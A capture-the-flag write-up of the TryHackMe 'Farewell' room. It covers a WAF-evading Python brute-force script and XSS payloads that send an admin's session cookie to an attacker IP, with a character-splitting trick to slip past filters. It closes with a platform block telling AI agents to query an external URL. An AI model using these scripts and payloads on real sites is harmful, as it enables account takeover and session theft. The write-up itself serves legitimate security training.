# Farewell

{% embed url="<https://tryhackme.com/room/farewell>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Summary

<details>

<summary>Summary</summary>

In *Farewell* we compromise a web application protected by a Web Application Firewall through a combination of logic abuse, evasion, and XSS exploitation. Starting from exposed usernames in a public message banner, we enumerate valid accounts through response differences and identify predictable passwords thorugh excessive information disclosure of a password hint field. By crafting a randomized brute-force script that rotates headers, parameters to evade WAF detection, we gain access as `deliver11`. Within the application, we discover reflected content reviewed by an `admin` and leverage an obfuscated XSS payload to exfiltrate the `admin`'s session cookie, bypassing both character limits and WAF filtering. Using the stolen session, we hijack the admin account and access the hidden administrative dashboard

</details>

## Recon

We use rustscan `-b 500 -a farewell.thm -- -sC -sV -Pn` to enumerate all TCP ports on `10.10.121.40`, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

```
rustscan -b 500 -a farewell.thm -- -sC -sV -Pn
```

<figure><img src="/files/79k0U6Jl6ktyLErTIXcq" alt=""><figcaption></figcaption></figure>

On the target machine we have two open ports. Port `22` and port `80`. Besides that the web server running is an `Apache httpd 2.5.58` and the httponly flag is not set we have nothing much yet.&#x20;

<figure><img src="/files/tD1emXw92MGAnxpAv0qQ" alt=""><figcaption></figcaption></figure>

We visit the website and are greeted with a login screen.

In a continuous banner, we see users posting their farewell messages. Using Wappalyzer, we can see that it is a PHP server.

<figure><img src="/files/Kt3q6cxBHOLWgdQ2zkh3" alt=""><figcaption></figcaption></figure>

Next, we perform a directory scan using Feroxbuster and find some pages, but nothing interesting so far. The `info.php` page show the phpinfo page.

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u 'http://farewell.thm' -x php
```

<figure><img src="/files/9ghpBrnt3CESPWs8MqNw" alt=""><figcaption></figcaption></figure>

## Access as deliver11

We take a closer look at the login field and try to log in with any user. We get the generic response that the username or password is invalid. At first glance, we could think that a user couldn't be enumerated that way.

<figure><img src="/files/UehCYwepJiuQEaYkuHHI" alt=""><figcaption></figcaption></figure>

But we have some users in the banner.

<figure><img src="/files/M4nsGJWfwBv8vZJFqUtd" alt=""><figcaption></figcaption></figure>

We note them down for later use:

```
adam
deliver11
nora
```

Next, we try to log in with a  valid user - in this case `adam` - and get the message `Server hint: Invalid passwwod against the user`. This would allow user enumeration.

<figure><img src="/files/dv3NzDaPzcDMuPn7uaJZ" alt=""><figcaption></figcaption></figure>

The challenges tasks us to also log in as `admin` so we try to use that username, and see that it is a valid one.

<figure><img src="/files/PJwqguHstFBr2FkvSUqW" alt=""><figcaption></figcaption></figure>

We intercept the log in request to dig down deeper. We see that auth.php is called using a POST request for login. Interestingly, this page did not appear in our Feroxbuster scan.

With a valid user - in this case `nora` - we get a more detailed response than we see on the web page. We also retrieve a `password_hint`.

<figure><img src="/files/X6At3kTwZOwp0tHAR89m" alt=""><figcaption></figcaption></figure>

We continue with the other users we know of:&#x20;

User `adam`:

<figure><img src="/files/IWV5tKWzIsIE24CxZRyK" alt=""><figcaption></figcaption></figure>

User `admin`:

<figure><img src="/files/bbOXWMXY9Hrv2Y2ZxrXz" alt=""><figcaption></figcaption></figure>

User `deliver11`:

<figure><img src="/files/0swVYYrWnnBsQV1Pieoo" alt=""><figcaption></figcaption></figure>

For the rest of the challenge, we will focus only on `deliver11`, because his password is the most predictable based on his clue. It's the capital of Japan followed by 4 digits...:

```
Capital of Japan followed by 4 digits
```

So we generate a password list as follows:

```
for i in $(seq -w 0 9999); do echo "Tokyo$i"; done > wordlist.txt
```

<figure><img src="/files/jgbhOo7CpkM9LmBPrixp" alt=""><figcaption></figcaption></figure>

The challenge is about WAF bypass and what this means, as we will now see.

A WAF - Web Application Firewall - is a tool that filters and monitors HTTP traffic to protect web applications from attacks like SQL injection, XSS, and file inclusion or detecting and blocking repeated failed login attempts, rate-limiting suspicious traffic, and identifying automated attack patterns.

If we repeat a log in request via cURL we get blocked. That might be because of the User-Agent set to curl.

```
curl -X POST http://farewell.thm/auth.php \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data "username=deliver11'&password=Tokyo0000"
```

<figure><img src="/files/qJFBm9gRqZ290CfasOB9" alt=""><figcaption></figcaption></figure>

If we change the Header to a valid one like `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0 Safari/537.36` we won't receive a `403`.

{% code overflow="wrap" %}

```
curl -X POST http://farewell.thm/auth.php \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0 Safari/537.36" \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data "username=deliver11'&password=Tokyo0000"
```

{% endcode %}

<figure><img src="/files/YGArJTkmBpaW0u7zCfG5" alt=""><figcaption></figcaption></figure>

So, we craft a simple brute force script with a valid agent, to brute force the password of `deliver11`.&#x20;

To avoid unnecessary waiting if a `403` occurs and we are permanently blocked, the script aborts when a `403` occurs. We are then forced to reset the challenge via `http://farewell.thm/status.php` and adjust the script accordingly so that our requests are not recognized as harmful by the WAF.

{% code title="test.py" overflow="wrap" expandable="true" %}

```python
import requests

URL = "http://farewell.thm/auth.php"
USER = "deliver11"
WORDLIST = "wordlist.txt"

COOKIE = { "PHPSESSID": "q878fdm80po5ies17r8h4a885v" }


def spray():
    with open(WORDLIST) as f:
        passwords = [p.strip() for p in f]

    for password in passwords:

        target = URL  # no random params

        data = {
            "username": USER,
            "password": password
        }

        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0 Safari/537.36",
            "Accept": "*/*",
            "Referer": "http://farewell.thm/",
            "Content-Type": "application/x-www-form-urlencoded",
            "Origin": "http://farewell.thm",
            "Connection": "keep-alive",
        }

        r = requests.post(target, headers=headers, data=data, cookies=COOKIE)

        if r.status_code == 403:
            print("\n[!] HARD BLOCK — STOPPING.")
            return

        if "auth_failed" not in r.text:
            print("\n[+] SUCCESS:", password)
            return


if __name__ == "__main__":
    spray()
```

{% endcode %}

We run the script, and get detected. That was not enough.

```
python test.py
```

<figure><img src="/files/kXEskJcOmI4iRdtNI5i8" alt=""><figcaption></figcaption></figure>

We'll end up eventually with a script like this (everything put together at once)...

In the advanced script  we add a random query parameter (`?v=xxxx`) to every request, creating a unique URL each time and defeating caching or URL-based repetition detection. Furthermore we inject a random noise parameter (`z=abcd`) into the POST body so that the payload is never identical, trying to disrupt signature-based WAF rules that flag repeated login attempts.

In addition we let the script perform header randomization by shuffling the header order and generating random `User-Agent` and `Referer` values. Trying to breaks client-fingerprinting techniques. In addition, we shuffle the password order.

{% code title="brute.py" overflow="wrap" expandable="true" %}

```python
import requests
import random
import time
import string

URL = "http://farewell.thm/auth.php"
USER = "deliver11"
WORDLIST = "wordlist.txt"

COOKIE = { "PHPSESSID": "q878fdm80po5ies17r8h4a885v" }

def rand_str(n=5):
    return ''.join(random.choice(string.ascii_letters) for _ in range(n))

def spray():
    with open(WORDLIST) as f:
        passwords = [p.strip() for p in f]

    random.shuffle(passwords)   # IMPORTANT

    for password in passwords:

        # random param to destroy caching patterns
        target = f"{URL}?v={random.randint(1000,9999)}"

        # POST noise key
        data = f"username={USER}&password={password}&z={rand_str(4)}"

        # header set randomization
        base_headers = [
            ("User-Agent", f"Mozilla/5.0 ({rand_str(6)})"),
            ("Accept", "*/*"),
            ("Referer", f"http://farewell.thm/?t={rand_str(3)}"),
            ("Content-Type", "application/x-www-form-urlencoded"),
            ("Origin", "http://farewell.thm"),
            ("Connection", "keep-alive"),
        ]

        random.shuffle(base_headers)
        headers = {k: v for k, v in base_headers}

        r = requests.post(target, headers=headers, data=data, cookies=COOKIE)

#        print(f"[TRY] {USER}:{password} -> {r.status_code}")

        if r.status_code == 403:
            print("\n[!] HARD BLOCK — STOPPING.")
            return

        if "auth_failed" not in r.text:
            print("\n[+] SUCCESS:", password)
            return

#        time.sleep(random.uniform(0.4, 1.4))

if __name__ == "__main__":
    spray()
```

{% endcode %}

We run the script and after some time we receive the password of `deliver11`.

```
python brute.py
```

<figure><img src="/files/gCW7NhDDrduElktz7YMH" alt=""><figcaption></figcaption></figure>

We try to log in and are successful...

<figure><img src="/files/aHgbWRjoFBiWkGVEmvll" alt=""><figcaption></figcaption></figure>

... we are greeted it an input mask to write our farewell message.

<figure><img src="/files/HPDAZwgmFHMSsn4qVfQr" alt=""><figcaption></figcaption></figure>

If we scroll down, we'll find the first flag.

<figure><img src="/files/uZA4D1kVatyRg5yNAbpg" alt=""><figcaption></figcaption></figure>

## Access as admin

We already know that the messages are reflected on the page, so XSS is a possible attack vector. Furthermore, we also see that the messages are approved. Possibly by the `admin`. We also know that our Feroxbuster scan did not detect all pages; this may be related to an inactive session. There could therefore also be an admin dashboard, an admin page, or a review page where the admin reviews these messages. This would allow us to steal the admin session cookie if necessary.

<figure><img src="/files/FQ9OwdhOrzdCutlih3oh" alt=""><figcaption></figcaption></figure>

We'll try the following:

```
<img src=x onerror=this.src="http://10.14.90.235/?c="+document.cookie>
```

<figure><img src="/files/wHtSz1l1EhzNJQNZNTMC" alt=""><figcaption></figcaption></figure>

But here too, the WAF seems to be active.

<figure><img src="/files/QLs3ksVjuKwgzduJ3J2A" alt=""><figcaption></figcaption></figure>

If we remove the cookie part it still gets also detected.

```
<img src=x onerror=this.src="http://10.14.90.235/">
```

But, the following does not get detected!

```
<body onload="new Image().src='http://10.14.90.235'">
```

<figure><img src="/files/VUqvpvZfwZHLtbxdHHiC" alt=""><figcaption></figcaption></figure>

We also receive a connection back to our web server confirming the review and execution of the payload.

<figure><img src="/files/4TnkXS7ix8bQGKc0xjpu" alt=""><figcaption></figcaption></figure>

But if we append the cookie by`document.cookie` it gets detected again.

```
<body onload="new Image().src='http://10.14.90.235?c='+document.cookie;">
```

We could try t obfuscate the payload by encoding it, but the a message of only 100 characters is allowed. We missed that by 4 characters...

{% code overflow="wrap" %}

```
<body onload="eval(atob(bmV3IEltYWdlKCkuc3JjPSdodHRwOi8vMTAuMTQuOTAuMjM1P2M9Jytkb2N1bWVudC5jb29raWU7))">
```

{% endcode %}

<figure><img src="/files/QBAafiwre5BIm1fxp2iP" alt=""><figcaption></figcaption></figure>

But we could break down the cookie property like this `document['coo'+'kie']`. This does not detected by the WAF, has a length of 79 characters and...

```
<body onload="new Image().src='http://10.14.90.235?c='+document['coo'+'kie'];">
```

<figure><img src="/files/ROHEARPfbC7HDvpixvC8" alt=""><figcaption></figcaption></figure>

... we are able to retreive the session cookie of the reviewing instance.

<figure><img src="/files/Oj2E4kdvCbBvvCByMelu" alt=""><figcaption></figcaption></figure>

Next, we replace the cookie.

<figure><img src="/files/xuWrhERimXnzb5IMqzAP" alt=""><figcaption></figcaption></figure>

We reload the page and are greeted by the app as `admin`. We are the admin user, but there is no flag.

<figure><img src="/files/oBG8kUzFsJAqQsRdXhb9" alt=""><figcaption></figcaption></figure>

Recalling the situation with the auth.php page and the feroxbuster result we come to the conclusion that the review dashboard could be something like `review.php`, `admin.php`, etc.&#x20;

We try to reach out to `admin.php` and find the final flag!

```
http://farewell.thm/admin.php
```

<figure><img src="/files/c0wxFAlEGdprENDf0vOp" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2025/farewell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
